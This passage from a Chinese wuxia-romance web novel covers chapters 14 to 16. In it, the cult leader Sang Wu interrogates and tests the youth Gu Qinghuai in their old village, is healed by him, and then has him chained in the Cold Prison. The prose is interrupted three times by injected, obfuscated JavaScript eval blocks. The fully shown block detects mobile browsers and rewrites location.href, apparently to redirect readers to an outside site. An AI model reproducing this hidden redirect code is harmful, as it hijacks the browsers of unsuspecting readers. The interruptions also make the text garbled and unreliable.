“哟,瞧我这脑子!”楼三娘猛地一拍脑门,不好意思地说道:“我家柴火用完了,偏生我家那口子最近腿脚不便,我力气又小,砍了半天才砍了一点完全不够生火做饭的。” 桑妩顿时明白过来,“所以大婶这是想请他砍柴是吧。” 楼三娘连连点头,“正是,正是。” “自然没有问题。”桑妩看了眼顾清淮,欣然应下,她对这大婶很有好感,谁让她这般有眼力劲,知道两人之中做主的人是她。 “太好了!我这菜一早就备好了,就等着柴火烧起炒菜呢!” 两人随着楼三娘进了门,少年在她的示意下,从楼三娘手中接过柴刀,走到院子角落堆柴的地方,手起刀落默默地劈起柴来。 楼三娘则拉着桑妩在一旁石凳上坐下,从屋里端出一盘瓜子放在她面前,殷勤道:“这是我昨天才炒的葵瓜子,可好吃了,妹子快尝尝。” 桑妩看着那竹篾里盛着的一大盘瓜子,心中情不自禁涌上一股热流。以往阿娘也是会炒一大盆瓜子分给她和弟弟妹妹吃,自从十岁那年的变故,她已许久未曾吃过这种自家炒的瓜子了…… “两位不是村子的人吧?”见她拾起瓜子嗑了起来,那楼三娘这才笑着问道。 桑妩笑着点了下头,此刻她仿佛只是石河村里一个普 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你之前说你是受人排挤才被迫来我浮光教,你这都受人排挤了还有人顿顿替你做饭?”桑妩语气揶揄,“不会是娶了小娇妻了吧?” “自是没有。”少年微微一笑目光沉静,倒显得她是在故意调笑,桑妩心中一阵不悦正欲发作,那楼三娘已麻利地端着两盘菜走了出来,一边走一边不好意思地说道:“平日里都是我家那口子做饭,许久不做手有些生了,两位久等了吧?” 说完也不等他们回答,将盘子放下就走到一旁屋中,扶着一个腿脚不便的大叔走了出来,“这人一把岁数了也不知道注意,去赶个集还把腿伤了,让两位见笑了。” 这大叔虽然腿伤了但精神十分不错,脸色黝黑泛红,声如洪钟地说道:“我还不是赶着去给你买头花,谁知道那天哪个缺德的在地上乱丢果皮,我还不是没注意这才摔了!” 楼三娘闻言羞赧一笑,爽朗的脸上顿时露出抹好看的娇羞,那大叔顿时看的目不转睛,连声道:“你看,我媳妇儿戴这头花顶好看!就是再摔断一次腿也值得!” 桑妩看着已年近半百的两人感情仍这么好,忍不住感叹道:“大叔大婶感情可真好。” “你夫君对你不是更好?你看你一句话,人家劈柴劈的便这般利索。”楼三娘一边说一边往厨房里走,顾清淮像是知道楼三娘要做什么忙跟了上去,跟在楼三娘身后拿着碗筷走了出来。 “快坐下来一起吃吧!”见顾清淮把碗筷放下,楼三娘忙热情地招呼道。 桌上饭菜香味四溢,勾的人食欲大动,顾清淮今日只有中午时在凉亭中吃了口竹笋,到现在为止还水米未尽确实是饥肠辘辘,更何况藏在水缸里的那些时日,除了让他怕黑,更让他从此害怕饥饿。 那种空腹的刺痛,仿佛从胃到脑袋都被掏空,那种饥饿将生命一点点吞噬的感觉,他再也不想体会。 他正欲坐下,桑妩突然冷冷开口,“站着。” 顾清淮弯腰的动作蓦然一僵,他像是意识到什么,脸上血色瞬间褪尽,缓缓直起身子原地站立。 “大妹子,你这是做什么?”楼三娘惊讶地问道。 桑妩闻言蓦地扬唇一笑,仿佛春树生花明丽无双,说出的话却让人不寒而栗,“就想让他站着而已。” 她方才清楚地听见少年肚子再次咕噜叫了一声,这人能控制住自己的所有欲望像个佛子一般冷静,却唯独控制不住自己肚子饿的咕咕叫。 他还欠她一个罚。 而目前来看,没有什么比让少年看得到却吃不到,更好的惩罚了。 14. 逼问 顾清淮喉咙有些发干,淡薄的双唇倏地抿紧,默默退后一步站在桑妩身旁,脸上却清冷如旧,仿佛方才一闪而过的委屈和愤懑是她的幻觉。 桑妩唇角噙着的笑意冷了下去,身旁少年单手负在身后,乌黑长发如瀑般散落,衬得身姿修长优美,她心底蓦然涌出一股强烈的掌控和摧毁欲,她迫不及待地想把这人压在身下,看他被欺负到狠狠哭出来时,是否还能这般忍耐。 楼三娘见顾清淮默不作声,便也不好再说些什么,只当这是小情侣间的什么把戏,她夹起一片嫩绿的菜叶放入桑妩碗中,“大妹子快尝尝我这手艺,这可是今早我刚去地里摘下来的莴笋叶,新鲜着勒。” 这菜被清油炒过青翠欲滴,桑妩轻轻咬上一口唇齿间满是清香,桑妩忍不住多吃了几口,甚至开始思考天阙峰上能不能种菜。 “还有这是我们自家腌的腊肉,别看它肥,吃进去香的很!”盘里躺着的肉片似乎还泛着滋滋的肉香,明明不是最上乘的美味,却吃的桑妩从胃里暖到心里。 “大婶,你们是什么时候搬来这村子的?当年这村子可是被烧成一片焦土。” “我们都是隔壁榔头村的,当日那大火起的诡异,烧的更是惨烈,好在有浮光教的人帮忙重建,又是出人又是出物,修整好后又让附近几个村愿意搬迁的都搬了过来,你看,这才过了没多久又是这么热闹了。” 是啊,这才不过十二年光景,石河村已又是欣欣向荣,只是里面住着的再也不是当初那些人。 顾清淮在一旁却听的一怔,当年村子被毁后,竟是浮光教帮忙重建的,他们肆意放火杀人后再行如此伪善之举,只能是为了掩盖罪行,殊不知他们这样做只会欲盖弥彰。 三人边吃边聊,气氛一时十分融洽,唯独顾清淮静静站在桑妩身后,他不动,饭菜的香气却强势地钻入那早已饥肠辘辘的身体,本就难耐的饥饿感瞬间被无限放大。 桑妩余光清楚地看见,少年喉头难耐地上下滚了滚,想来定然饿极了,不管他脸上带着多么厚重的面具,身体的反应却骗不了人。 似乎从幼时起她便恶劣地喜欢捉弄人,楼稷总是能聪明地躲过去,唯独那个郁小六,每次都会蠢蠢的中招。 三人吃的正欢,楼三娘甚至拿出了一瓶自家酿的桑葚酒,一口酒下肚桑妩瞬间来了兴致,对着少年勾了勾手,红唇轻启:“你腰间一直别着箫想来是擅长此道,吹来听听。” 见少年有些怔愣,桑妩脸色登时沉了下来,“怎么,不要告诉我你饿的连吹箫的力气都没有了。” 顾清淮默默拿起腰间长箫放在唇边,一曲清韵悠然而来,桑妩惬意地在石桌上轻叩着,可是很快,桑妩手指突然顿住。 这首曲子,是《采石》! 是他们幼时在河边捡石头时常哼的小调,只不过那时他们哼的欢快,今日被这人用箫吹出来显得格外悠长悲伤,这才让她一时间竟没有听出来。 可是这人怎么会知道这个调子,还吹的如此熟稔,仿佛在此之前已经吹过无数遍一样,难道,难道他真的是楼稷? 桑妩心跳瞬间漏了一拍,害怕和欢喜同时汹涌袭来,在她意识还没反应过来时,身体已经做出了回应,“停!” 她冷冷喝止。 恰逢风从院中吹过,桑妩额头一阵凉意,她下意识伸手摸了摸,这才惊觉自己竟然出了一身冷汗。 她抬头看向一脸怔愣困惑的少年,目光渐渐晦暗不明,过了半晌终于冷声说道:“坐下来一起吃。” 楼三娘和大叔对视一眼,这也才如梦初醒般附和道:“对嘛对嘛,快坐下来一起吃!”说着替顾清淮盛了满满一大碗饭。 顾清淮看了眼桑妩,见她没有反对这才终于坐了下来,道了一声“谢谢”这才动筷,只是不知这一声谢,谢的是谁。 一顿饭下来也算宾主尽欢,顾清淮主动将碗筷洗尽后两人才相携离开,走出农舍时,天色已然有些暗了。 两人沿着河边漫无目的地走着,桑妩自方才听到箫声后神情便一直复杂难辨,此时突然说道:“村子里和已经截然不同了,这条河却没有任何变化,记得以前天气炎热的时候我们总爱跑到河边玩,一玩就是一整日。” 顾清淮自然察觉桑妩自从方才听到他箫声开始神情便有些异常,只当她是怀念过去而心情低落,当下故作轻松地说道:“是啊,那个时候阿姐你最喜欢捡这河中的鹅卵石回去玩,一个人拿不下还要我们帮你拿。” 那会他一个劲地想要赶紧长大,长大了他就能帮阿姐拿更多的石头。 桑妩却再次皱起了眉,这人知道她喜欢鹅卵石,甚至语气熟稔的像他真的经历过那个场面。而她甚至真的对这少年升出些许熟悉感,仿佛他真的是楼稷,是那个和她青梅竹马的楼家大郎,楼稷。 “我记得你说过你的功夫是和一个姓郁的人学的,这个人不会就是郁小六的父亲,郁大叔吧?” 少年一时有些沉默,应道:“正是他。” “那后来呢,你从村子里离开之后去了哪儿,为何又会受人排挤?” 顾清淮迟疑片刻,就在桑妩开始有些不悦时,少年的话却打消了她所有疑虑。 “当日我从水缸里出来后便晕了过去,是青峰寨的人路过将我捡了回去,后来我便成了他们的大当家。” “你是青峰寨的大当家?我听说一年前青峰寨发生内乱,二当家上位大当家下落不明,却不想这个大当家竟然是你。” 如此说来一切似乎都对的上,排挤是真,这一身的风骨也是真。 两人沿河而走,正好走到一处稍显精致的农舍旁,桑妩试探着开口:“我记得以前这里是张夫子家,他们一家人都是从中州避难而来,记得那时村子里的孩子都是他开蒙的。” “阿姐你记错了,是王夫子,他总是戴个青色头巾特别严肃,谁一旦背书背不出便会被他用戒尺打手心。”少年神色如常,像是没有看出她的意图。 桑妩心中瞬间涌上一股强烈的热浪,在干涸已久的心田上呼啸掠过,一贯冷静的身躯竟微微地颤抖起来,难道这人真的是楼稷,真的是楼稷! 这些年她在浮光教中孑孑独行,世人畏她如虎,可午夜梦回,她总是想起石河村的故土、故人,若他真的是楼稷,真的是楼稷…… 不知何时,桑妩眼眶竟悄然红了。 她垂下眼眸,掩盖自己的失态,“那会儿你是我们当中学的最快的,夫子还说你以后可以去考秀才,中状元。” 少年也垂着目光,低声道:“那会就数阿姐和我学的好,不像郁小六,总是被夫子打……” 两人正好走到一株盛开的桃花树下,桑妩突然站定不前,定声问道:“《弟子规》四句为一联,你还记得第二联是怎么背的不?” 顾清淮也停下脚步,轻声诵道:“父母呼,应勿缓。父母命,行勿懒。父母教,须敬听。父母责,须顺承。” 少年的嗓音清清凛凛,在黄昏的晚风中格外温柔。 “那个时候我只觉得阿爹阿娘老是管着我们,逼我们做这做那,更是对这《弟子规》嗤之以鼻,却不想现在连尽孝的机会都没有了。” 她本是随口一说,不想身旁少年脸色突然一白,漆黑的眼底似是闪过一丝隐忍的痛意,哑声道:“阿姐对不起。” “为什么道歉?” 少年却只低着头不答话,清冷的侧脸陷在黄昏的光影中,如鸦羽般的睫毛在脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾清淮捂住胸口,痛苦地沿着树干坐下,须臾之间已沁出了一身冷汗。 “呵呵呵……” 桑妩却蓦地冷笑出来,缓缓站直了身子。 竟然又是这样。 每次她想要逼问他什么,他便是一副疼痛难忍的模样。 她俯下身一把握住少年颤抖不已的手腕,手下的腕骨冷白劲瘦,脉象却无丝毫异常,无病无毒。 这是第二次了。 桑妩脸色阴沉的有些骇人。 这个人竟然连续两次在她面前使用同一个把戏。是因为上次没有给他足够的教训,所以才越发肆无忌惮么。 她冷冷松开少年手腕,气沉丹田,正欲一掌轰飞眼前这可恶之人,少年却突然仰起头,艰难地握住她聚力的手,嗓音又颤又哑:“阿姐,我好疼……” 少年仰着头看她,一贯清冷的眼尾此刻泛着潋滟的薄红,素来淡漠的眼底似乎浸润着破碎的水色,深邃到让人看不分明,桑妩沉寂已久的心像是被突然撞了一下,连呼吸在此刻都为之一滞。 她感受到一股极其陌生,极其久违的情绪,慢慢在心中翻腾。 是心疼。 她在心疼眼前这个少年。 天边不知何时暗了下来,骤凉的夜风吹过,桑妩瞬间清醒过来,这人不过是在再次演戏骗她,就像在百花泉时一样。 当真是好演技,好演技!竟差点再次让她信以为真。 被人愚弄和诓骗的愤怒齐齐涌上心头,桑妩心中涌上一股难以抑制的暴戾和狂躁,既然他想演,她不介意加一把火,让他真的痛到后悔屡次骗她! 15. 察觉 桑妩出手如电,接连封住少年身前天溪、天枢两处大穴。这两处穴道,一处是使人内力运行受阻,一处却是使人气血剧烈翻涌,若是两处同点,则会使人瞬间痛不欲生。 顾清淮骤然被点住穴道,本就苍白的脸庞霎地惨白,剧烈的疼痛刺激之下脊背痛苦地向后弓起,整个人重重地撞在树干上,一口鲜血猛地喷出—— “唔——” 随着鲜血喷出,少年的脸色竟诡异地红润了些许,脸上的痛苦之意也慢慢平息。 顾清淮难耐地捂住胸口低低喘息着,方才发生了何事,为何他会那么难受,像是有百只虫蚁同时噬咬心脉。上次在温泉池旁,他也是这般痛过一回,只是今日发作的更为剧烈,虫蚁噬咬的范围更大。 多亏阿姐及时封住他天溪、天枢两处大穴,否则他只怕要再次痛到晕厥过去,顾清淮靠在树干上艰难地抬起头,任冷汗从脸颊滑落,“阿姐,我这是怎么了……” 桑妩将少年的反应尽收眼底,本就阴沉的脸色瞬间像是覆了一层寒霜,这人竟是在她眼皮子底下直接冲开了她点的穴道!这还是第一次有人能解开她点的穴道,甚至只是以吐了一口血的微小代价。 桑妩牙齿咬的咯吱作响,这人故意冲开她点的穴,却还要装作不知道发生了什么明知故问,好极了,好极了!还是第一次有人敢对她这般挑衅。 她心中怒火早已如洪水般滔天,面上却仍是一脸平静,故作困惑地问道:“你不知道发生了什么?我也很想知道,怎么每次我一问你话你就会突然这么,痛不欲生。” 顾清淮闻言皱了皱眉,以指搭脉探查自己的身体,他虽不懂医术,但凡是习武之人或多或少都能从脉象判断一二,而此刻他指下的脉象清楚地显示,他并无病症,更未中毒。 他是到天阙峰后才开始有此症状,方才也只有阿姐清楚该如何缓解疼痛,可是阿姐明显是不愿意告诉他缘由,更不想彻底解除他的痛苦。 顾清淮咽下心口翻腾的苦涩,既然这是阿姐想要的,他受着便是。 桑妩双手抱胸站在一旁,眼前少年虚弱地靠在树干上,乌黑长发如瀑般垂落脸侧,他方才明显是想到了什么却始终一言不发,是无话可说,无可辩解么。 桑妩唇边渐渐扬起抹冰冷的弧度,潋滟的眼底蕴着刺骨的幽光。 既然他不想说,那她就逼他说出来。不就是演戏么,巧了,她也会。 桑妩认真回想当初突破霜天功第九重后走火入魔的痛楚,突然间猛地捂住胸口,踉跄地退后几步,她垂着眼眸掩盖眸中清明,一手暗暗催动内力让脸色霎地苍白。 桑妩只顾演戏逼真,全然不知在那一袭似火红衣映衬下,她本来灿若春华的脸庞瞬间白到几近透明。 “阿姐你怎么了!”顾清淮脸色骤变,挣扎着起身朝她走来,桑妩眼睛一闭放任自己朝地上跌去,一袭红衣宛如大雪中被风吹落的红梅,可想象中的冰冷和坚硬没有到来,她跌入了一个十分温暖有力的怀抱。 这人竟是接住了她。 她闭上眼一动不动,很快,少年动了。他将手伸向她的手腕,似是想要替她把脉。 桑妩伸手捂住胸口,不着痕迹地避开少年的探查,这人竟敢趁机扼住她的命门,当真是好心机,方才不是还疼到话都说不出来,现在又突然能走能说了。 她想象自己此刻重病垂危无药可医,压低嗓音说道:“无,无妨,只是修习霜天功走火入魔的后遗症罢了。” 顿了顿,低软的嗓音愈发轻,似乎一口气上不来就要断气晕倒,“你,你不用管我,我休息一会儿便好,便好……” 说完神情黯然,心中却越发自得,当年她初入浮光教时便是靠着这身精湛演技取得教中护法信任,今日她倒要看看,趁她内伤发作,这人心神放松之下是否会趁虚而入,暴露意图。 看着怀中女子脸色渐渐苍白,顾清淮忽然间升起一种入骨的恐惧,阿姐,他的阿姐,他绝对不能第二次失去阿姐! 桑妩诧异地看着少年脸色染上不似作伪的急切,就连抱着她的身躯都在微微颤抖,“阿姐我这就替你运功疗伤,霜天功我也曾修习,虽不及阿姐精深但用以疗伤应当足矣。” 说完便扶着她从他怀中坐起,随后在她对面盘膝而坐,竟是要和她掌心相对,输内力给她。 桑妩“强撑”着摇摇头,拒绝道:“没用的,我是因为修炼霜天功走火入魔才会如此,必须得是修炼与霜天功属性相反的功法,且内力与我相当之人替我输内力才有用。” 这句话她并没有胡说,她正是因为找不到这样的人,才一直通过温泉缓解,只希望这次紫霄和白虎能把那传闻中的鹿活草顺利带回来。 听她这么说,少年焦急的神情一时间怔住了,“相反的功法……” 桑妩闭上眼,心中再次涌上一股得意,这人终于演不下去了,可她还没有演够,“无,无妨,只是一段时间寒气侵体如坠冰窟而已,忍一忍,也就过去了……” 女子浓密的睫毛如蝉翼般脆弱地微颤,虚弱地靠着他而坐,似乎随时都会晕厥过去,顾清淮咬紧了唇,放在身前的双手紧紧攥着,都是他的错,若不是他,阿姐不会入浮光教,更不会遭受此番痛苦,这都是他的错…… 桑妩演的正在兴头上,手掌突然被人提起,下一刻,四掌相对。 一股浩瀚却温和的内力自对方掌心瞬间涌了进来,桑妩眉头骤然一蹙正欲阻止,那内力已然涌入了她奇经八脉—— 温暖、舒适。 让她一时间竟忘记了反抗和思考。 少年醇厚和煦的内力逐渐涌入,在她周身穴道筋脉间缓慢游走,她像是躺在嫩绿的草地上,被笼罩在六月的阳光中,浑身都暖洋洋、轻飘飘,她已许久没有这般舒服过了…… 两人相对着盘膝而坐,桑妩体内骤然升出股极强吸力,将少年内力源源不断地吸了过来,两人一吸一输,也不知这样过了多久,直到四肢百骸都被暖意包裹,直到就连发丝都在嚎叫着舒畅,桑妩终于长长地吐出一口浊气,缓缓睁开了眼。 天地之间赫然已然是一片黑暗,唯独那辽阔天空缀着一轮明亮弯月和那漫天的繁星。 她已许久没有看过石河村的夜空,竟是和记忆中一般美丽。 她仰头凝望,直到脖子都有些酸了,才终于低下头来,对面的少年清冷的脸庞在月色下出奇的惨白,唇色更是淡的发白,身子明明不住地颤抖,双手却仍一动不动地抵住她的掌心,没有丝毫中断地将内力输送 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桑妩周身内力猛地一震,少年输送的内力霎时间齐齐反震回去。 “噗——” 顾清淮猛地吐出一口鲜血,在皎白的衣衫上溅出星星点点的红,手掌狼狈地向前撑地,才堪堪撑住摇摇欲坠的身体。 “尊主!” 一阵纷乱的马蹄声蓦然由远及近地响起,随后是整齐的勒马之声,“纡——” 桑妩冷冷转头,一名二十余岁的黄衫女子和诸多身着金甲之人映入眼帘,正是静姝和金甲卫。她和静姝之间早有默契,若是快到子时她没还有回教中,静姝便会率人来石河村中寻她。 看清她的情形后静姝快速翻身下马冲到她身旁,一脸担忧地问道:“尊主,您——” 话没说完已被她举手打断,桑妩一派轻松地站起身拍了拍身上泥土,她抬头看向夜空,明月赫然已经上了中天,显然子时已到。 可她周身却没有丝毫往日那般寒冷难熬,没想到这个郁淮竟真的能治疗她的内伤,他今日算是救了她,她本该感谢,可相比于内伤发作的痛苦,她更不允许有人一次又一次地欺骗于她。 少年艰难地抬起头,脸色苍白到几近病态,漆黑的眼底却满是欣喜,像是在为她恢复如常而开心,可这满腔的欢喜却在对上她冷漠目光时,瞬间凝滞。 四目相对,少年像是渐渐意识到什么,清冷脸庞倏地升起波澜,苍白薄唇颤抖几瞬,终是惨然一笑。 “阿姐,你可还有哪里难受?” 桑妩蓦地攥紧了拳。 她以为他会解释,会求饶,却没想到,他在明知一切后说出的却是这么一句话。 银白的月光映照之下,桑妩明艳的脸庞泛着刺骨寒意,她看着苍白虚弱的少年,嗓音冰冷入骨:“把他压回去打入寒狱,不管你们用什么办法,三日之内让他吐出真实身份和来意。” “是,尊主!”金甲卫将长戢一顿,齐声应道。 桑妩转过头,纵身上马挥鞭急打,披散的深蓝长发随着风向后飞扬,红色的身影在月色下越驰越远,竟是没有再多看少年一眼。 16. 寒狱 明明身上已经许久未曾像现在这般暖和,身下也是柔软馨香的被褥,桑妩却一夜未曾睡好。 一整夜,她翻来覆去地梦到在石河村的各种场景,梦到阿爹阿娘,梦到弟弟妹妹,梦到楼稷,还有郁小六。 梦到他们在河边捡鹅卵石打水漂,梦到他们聚在一起边嗑瓜子边玩耍。可温馨的画面总是猛地一转,来到那日的屠杀。 鲜血、哀嚎。 她嘶哑着嗓音让楼稷和郁小六快跑,她却被一剑穿胸,倒在血泊之中。 桑妩猛地惊醒。 左胸似乎仍在刺痛,她摸了摸额头,已是一身冷汗。 漫天遍地的白,触目惊心的红,她曾无数次梦到一模一样的场景,那种刻骨铭心的痛苦和绝望令她一次又一次地从梦中惊醒,久久不寐。 这些年来她已许久未曾梦到过那场屠杀,她以为她已经释怀,却不想只是埋藏地更深,更烈。 她深吸一口气从床上坐起身,窗外天色昏暗难辨时辰。 静姝看她醒来,从门口端着一盆热水走到床边,恭敬地服侍她洗脸。温热的水覆在脸上,终于驱走了那令人心悸的不适,桑妩定了定神问道:“静姝,我睡了多久?” 静姝一脸担忧,“回尊主,现在已然是午时了,您这一觉睡了将近六个时辰。”她将用过的水盆放在门口架子上,从案上端起一碗热羹放在桌上,“您昨夜睡的十分不安稳,可是梦魇了?属下已经命人准备了当归桂圆羹,这羹专治梦魇,您喝一点?” 桑妩闻言眉心微微蹙起,她竟然睡了这么久…… 静姝自衣架上拿起白狐裘替桑妩披上,一边观察桑妩神情一边禀告道:“尊主,属下有个好消息告诉您。” 桑妩从床上起身走到桌边坐下,淡淡问道:“什么好消息,是那个郁淮招供了?” 想到那个沉静坚韧却满口谎言的少年,桑妩心脏突然微不可察地缩了缩,一阵刺痛。 提起郁淮静姝脸色顿时一僵,过了片刻才重新开口:“和那个郁淮无关,是紫霄使派人传信回来,信上说他和白虎使已经成功拿到鹿活草启程回宗,顺利的话大概这月十五之前便能赶回。” 桑妩用勺子舀起一颗晶莹剔透的桂圆漫不经心地嚼着,微微颔首:“这倒确实是个好消息。” 明艳的脸庞上却并无什么喜色,毕竟以她对静姝的了解,先告诉她好消息,必然还有一个更大的坏消息在等着她。 她不紧不慢地喝完热羹,待婢女将碗收走后,这才靠在椅背上问道:“说吧,还有什么坏消息要告诉我。” 她手指在桌面扣了扣,“可是那个郁淮审出了什么?” 静姝脸色僵硬,突然说道:“尊主,属下先服侍您梳妆?” 桑妩淡然点了下头,起身坐在铜镜前,镜中女子哪怕未施脂粉也是肤光胜雪光艳逼人,她并不以容貌为傲,却也知道许多人喜欢她便是因为她的容貌,紫霄使是,那墨崖大概也是。 至于那个郁淮…… 她认识他甚至还不足一月的时间,却从没有谁能让她如此记忆深刻。 第一次,第一次有人能够成功地骗到她。 就在她差一点就要相信他时,却发现他竟然是流云宗弟子。 那个正义盟之首,武林第一大派,浮光教的死敌。 昨日发生的一切像是一张密不透风的网,紧紧罩在她心上。郁淮是为了替她疗伤才暴露了自己的武学渊源,若是他昨夜一直无动于衷,也许再过上一年半载她也不会发现。 她平生最恨欺骗,更恨被她已经放在心上的人欺骗。 这种愤怒远比陌生人的欺骗来的更加汹涌澎湃。 桑妩丝毫没有注意到自己现在的脸色有多么骇人,几乎是在她神色阴沉下来的瞬间,殿内所有人同时齐齐跪下,静姝离桑妩最近更是首当其冲,面色瞬间煞白矮身跪地,恭声禀告道:“尊主,那个郁淮简直可气,昨夜金甲卫把他押走后,便按您的吩咐把他关进寒狱,可谁知道那郁淮一路上都很安静,竟都是假装的!” 桑妩蹙起了眉,冷道:“他怎么了?” 静姝忙不迭地如数禀告:“进寒狱后金甲卫照例想先把他锁起来再行讯问,可谁知金甲卫才刚拿起寒铁锁靠近,那郁淮便突然出手反抗,当时有十多名金甲卫在场,全部被他点中穴道动弹不得。” 什么!桑妩猛地一拍桌子,站起身来。 静姝的话声戛然而止,众人将头垂的越发低,连呼吸都尽量放轻,生怕一个不小心惹祸上身。 桑妩脸庞覆上一层骇人寒霜,这些金甲卫当真是惫懒太久了,竟连一个内力几近耗尽的人都制服不了。 她漫不经心地拿起台上梳篦把玩,“金甲卫人数众多且皆是教中精锐,这么多人就算淹都能淹死他。” 静姝闻言愈发委屈,“这人武功很是邪门,墨崖调来数十名金甲卫将他围的水泄不通,可他只要一吹那个萧,我们连站都站不稳,更不用说近他的身了。” 吹萧?桑妩神色闪过一丝凝重,江湖中确实有不少将内力蕴于乐声的功法,可凡是此种功法无一例外都需要极强的内力,她本以为昨日这人替她运功疗伤内力早已耗竭无存,却不想竟仍是这般沛不可当。 不对,桑妩很快反应过来,昨日少年内力绝对已近耗竭,而他能以箫声克敌另有原因,那就是他内力恢复的速度极快。 一丝懊恼快速闪过,昨日在那楼三娘家听他吹箫,只以为他是用作趁手的兵器,却没想到他竟还有这么一手,而她更加没有想到,他的内力竟然能恢复地这么快。 当真是好极了。 “那毒呢,你们不会用毒么?”桑妩脸色比外间天色还要阴沉,手指在桌面扣的一下比一下重,“你们直接把毒药撒过去,他纵使内力再强也不可能一直憋着不呼吸。” 静姝委屈地快要哭了出来,“属下们自然是下了毒的,因为还要审讯,除了牵机、砒霜、鹤顶红那些立时毙命的,其他毒药迷药全部用了个遍,可是没一个顶用的。” 静姝有些迟疑地猜测,“要么是他内功修为已经登峰造极,要么就是他也百毒不侵。” 也百毒不侵? 桑妩心中一个念头像闪电般快速而过,她刚要抓住什么,那丝念头却已消散。 桑妩无意识地伸出手,摸向镜中自己额间的梅花印记,这个郁淮没有对金甲卫下死手,却又不愿束手就擒,他到底想做什么。 “都起来吧,现在是何情况?” 静姝知道桑妩这是已经不生气了,顿时松了一口气站起身,“那郁淮现在人还在寒狱中,只是他说他想见您,在见到您之前他一个字都不会说。” “梆!” 桑妩手中牛角制成的梳篦被狠狠砸向地面。 好极了,当真是好极了,桑妩眉间瞬间渗出一丝刺骨冷意,这么多年,还是第一次有人敢对她提条件。 她倒要看看,他执意要她去,究竟是想做什么。 桑妩起身走到殿外,雪花自阴沉的黑云间飘落,天地白茫茫的一片,和昨日一片绿意的石河村截然不同,让人的心境也和昨日截然不同。 寒狱之所以叫寒狱,便是因为它建在整个天阙峰的山腰腹地,那里终年不见阳光,极寒极阴。 她不喜欢寒狱,因此来此的次数并不多。见来者人她,金甲卫恭敬地打开寒狱大门,她和静姝两人一前一后地走着,两人走过一段狭窄的上升台阶,地势倏地开阔起来。 地面是用青石板铺成,路两旁竖着金色的灯台,两边是滴着水珠的山壁,灯台和山壁上每隔几步便嵌着足有人拳头大小的夜明珠,泛着盈盈白光。 再往前走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909671|159667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,耳边渐渐传入水流的声音,正是山腰处的暗流寒水河,从寒狱中间流过。 跨过寒水河上的白玉桥,寒气愈发逼人,前方身着金色铠甲的金甲卫手执长戟围成一圈,透过铠甲之间的空隙,桑妩一眼就看见那在中间盘膝而坐的白衣少年。 水色与白色珠光的交界处,像是生了一层清泠薄雾,少年在薄雾中静静坐着,哪怕看不清容貌她也一眼认出,这人正是郁淮。 见她到来,金甲卫齐齐躬身行礼随后如潮水般向两侧快速分开,让出一条宽阔通道,而那坐地的少年也蓦然起身,抿紧了唇看着她,垂在身侧的手正紧紧攥着那柄长箫。 桑妩今日穿的一身金色云纹边的红裙,腰间束着金色腰带,在这阴暗的寒狱中宛如暗夜中开出的妖冶红梅,自她一出现,便是此间天地唯一的焦点。 少年的目光紧紧追随着她,似有千言万语想要倾诉,最后又尽数被低垂的眼睫遮住。 桑妩冷冷勾唇,双眸倏地烧起一丝暗红色幽火,这人是知道自己做错,看到她才终于开始怕了。 她将手中灭魂鞭朝空中极快地一抖,金色的鞭尾曳在冰冷的地面上,她就这么拖着长鞭,一步一步朝少年走去。 桑妩脚步极轻,每走一步,却都沉重地像是踩在顾清淮的心脏上。 咚, 咚, 咚。 最后在离少年三步远的地方停下,似桃花般潋滟的眼底泛着晦暗的幽光。 “看来是还没尝够本教主灭魂鞭的滋味,此处宽阔,不如你我比上一场,看看究竟谁输谁赢。” 少年清冷的脸庞瞬间一怔,咬紧了唇:“阿姐,我怎会同你动手……” 大概一夜未曾开口,低沉的嗓音竟是有些沙哑。 桑妩冷冷扬唇,长鞭直指眼前少年,“既然不想和我动手,又何必执意见我。” 说完也不待少年回答,冷声命令:“把他给我锁起来!” 她隐隐知道少年为何执意想要见她,却并不想深思、更不愿深思。 “是!”两名金甲卫高声应下闻令而动,两人同时出列走到少年身边,就在即将伸手碰到少年时眸中却不可抑制地闪过一丝惧意,竟是不敢接近少年,畏缩不前。 桑妩明艳的眉目间再次凝起一丝冷意,她对着少年伸出手,红唇轻启,语气淡漠:“把箫给我。” 静姝在一旁眼观鼻鼻观心,那箫可是别人保命的兵器,怎么可能尊主轻飘飘一句话就交出来。可是很快,静姝倒吸起一口冷气,少年一直紧攥的右手,竟然就这么松开,顺从地将那柄令人生畏的长箫放在了尊主的手心。 桑妩接过长箫,触手处十分温热,她可以想见这一整夜少年是如何紧紧握着它,又是如何凭借这么一只箫让所有人都无法近身。 “咔嚓——” 桑妩眼眸骤冷,将手中长箫冷冷折断,丢弃在地。 少年目光陡然一颤,随后渐渐涌现哀绝的红,像是被雨水打湿的黑曜石,带着无法克制的苦痛。 桑妩却视若未见,她冷冷一脚踩在断箫上,对着一旁站着不动的金甲卫斥道:“还不快动手?” 两名金甲卫这才如梦初醒般动作起来,两人各自攥住少年一只手腕,见少年没有反抗动作瞬间麻利起来。 很快,顾清淮两只手腕都被锁进粗重冷硬的寒铁锁中,两只脚踝也被依样锁了起来。 最后金甲卫站起身,冲着顾清淮后膝处狠狠一踢—— 少年双膝一屈跪倒在地,两只手被迫向上高高吊起。 